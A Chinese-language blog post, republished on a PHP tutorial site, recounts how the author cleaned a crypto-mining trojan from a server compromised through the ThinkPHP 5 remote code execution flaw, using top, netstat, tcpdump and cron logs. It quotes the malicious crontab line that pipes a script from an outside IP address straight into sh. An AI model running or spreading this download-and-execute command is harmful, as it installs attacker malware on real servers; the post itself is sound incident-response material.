Rumah > rangka kerja php > ThinkPHP > 挂马清除经历:处理一个利用thinkphp5远程代码执行漏洞挖矿的木马

挂马清除经历:处理一个利用thinkphp5远程代码执行漏洞挖矿的木马

藏色散人
Lepaskan: 2021-04-07 08:45:31
ke hadapan
2790 orang telah melayarinya

下面由thinkphp教程栏目给大家介绍处理一个利用thinkphp5远程代码执行漏洞挖矿的木马的方法,希望对需要的朋友有所帮助!

挂马清除经历:处理一个利用thinkphp5远程代码执行漏洞挖矿的木马

记一次挂马清除经历:处理一个利用thinkphp5远程代码执行漏洞挖矿的木马

昨天发现 一台服务器突然慢了 top 显示 几个进程100%以上的cpu使用

执行命令为 :

1

/tmp/php  -s /tmp/p2.conf

Salin selepas log masuk

基本可以确定是被挂马了

下一步确定来源

last 没有登陆记录

先干掉这几个进程,但是几分钟之后又出现了

先看看这个木马想干什么吧

netstat 看到 这个木马开启了一个端口和国外的某个ip建立了连接

但是tcpdump了一小会儿 没有发现任何数据传递

这他是想干啥?

继续查看日志吧

在cron日志中发现了www用户 有一个crontab定时操作 基本就是这个问题了

1

wget -q -O - http://83.220.169.247/cr3.sh | sh > /dev/null 2>&1

Salin selepas log masuk

顺着下载了几个问题,看了看 应该是个挖矿的木马程序

服务器上的www用户 是安装 lnmp 创建的,看了来源很可能就是web漏洞了。

再看/tmp下的php的权限 就是www的

查看 lnmp下几个站的日志  发现是利用 thinkphp 5最近爆出的远程代码执行漏洞

漏洞细节:https://nosec.org/home/detail/2050.html

修复一下问题解决

但是 这个站点是测试站点  端口监听的是 8083  ,难道现在黑客能开始嗅探非常规端口了?

来源:https://www.simapple.com/425.html

相关推荐:最新的10个thinkphp视频教程

Atas ialah kandungan terperinci 挂马清除经历:处理一个利用thinkphp5远程代码执行漏洞挖矿的木马. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

Label berkaitan:
sumber:simapple
Kenyataan Laman Web ini
Kandungan artikel ini disumbangkan secara sukarela oleh netizen, dan hak cipta adalah milik pengarang asal. Laman web ini tidak memikul tanggungjawab undang-undang yang sepadan. Jika anda menemui sebarang kandungan yang disyaki plagiarisme atau pelanggaran, sila hubungi admin@php.cn
Tutorial Popular
Lagi>
Muat turun terkini
Lagi>
kesan web
Kod sumber laman web
Bahan laman web
Templat hujung hadapan